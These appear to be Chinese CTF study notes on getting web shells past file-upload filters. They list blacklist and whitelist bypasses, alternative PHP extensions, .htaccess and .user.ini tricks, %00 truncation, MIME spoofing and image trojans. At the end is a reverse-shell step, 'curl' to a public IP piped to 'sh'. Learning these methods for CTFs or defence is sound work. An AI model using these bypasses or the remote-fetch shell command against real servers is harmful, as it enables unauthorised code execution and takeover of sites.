0%

文件上传

文件上传

后缀名检测绕过

  1. 黑名单–大小写绕过
  2. 黑名单–名单列表绕过
  3. 黑名单–Windows特性(末尾的点【.】)绕过
  4. 黑名单–Windows特性(空格【 】)绕过
  5. 黑名单–Windows特性(::$DATA)绕过

利用Windows特性,给文件名加“(::$DATA)”绕过服务端后缀名的检测

上传之后打开上传文件把url后面的::$DATA删掉就可以看见了

  1. 白名单(需要结合文件包含漏洞或者Web服务器解析漏洞)
  2. .htaccess文件攻击–匹配文件内容
  3. .htaccess文件攻击–匹配文件名中的关键字
  4. .htaccess文件攻击–匹配文件名
  5. Apache解析漏洞 其解析文件只看后缀名,可以通过上传1.jpg.php绕过上传检查,仍然可以解析为php文件
  6. 点空格点绕过
  7. 双写绕过
  8. 空格绕过(文件名后加空格)
  9. %00截断(相当于一个结束符修改文件名为.php.jpg(白名单内的都可)burp suite抓包
  10. .user.ini需要知道上传目录下的php文件,访问改文件才能连接蚁剑
1
2
3
4
5
6
7
8
9
10
.php
.php2
.php3
.php4
.php5
.php7
.phtml
.pht
.phps
.phar

MIME类型检测与绕过

burp suite抓包然后更改Content-Type

image.png

image/jpeg

文件内容检测与绕过

00截断绕过

shell.php%00.jpg

条件竞争检测与绕过

图片木马

制作好图片木马将其上传后还需要到文件包含漏洞测试通常在include.php

注:在buuctf上面写upload的题目为Linux环境,windows系统的一些特性不能使用

文件上传路径可控

%00接受值为GET

把文件后缀名改为.php.jpg(允许的)

image.png

image.png

再把下面的.php删了,但是有版本限制要求php版本小于等于5.3.4,我的超过了写不出来

接受值为POST

image.png

在**/upload/ **后面填写a.phpa然后在hex里面把a(61)改为空(00)

#是.hatccess文件特有的写入形式

限制文件宽和高的题目

#去掉文件头GIF89a加上下面两句:#define height 1#define width 1

反弹shell

?cmd=curl 公网修改为监听的端口|sh(首先需要购买公网ip)


来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/bq9fvs2l2gwnvh40
语雀文档ID: 135221313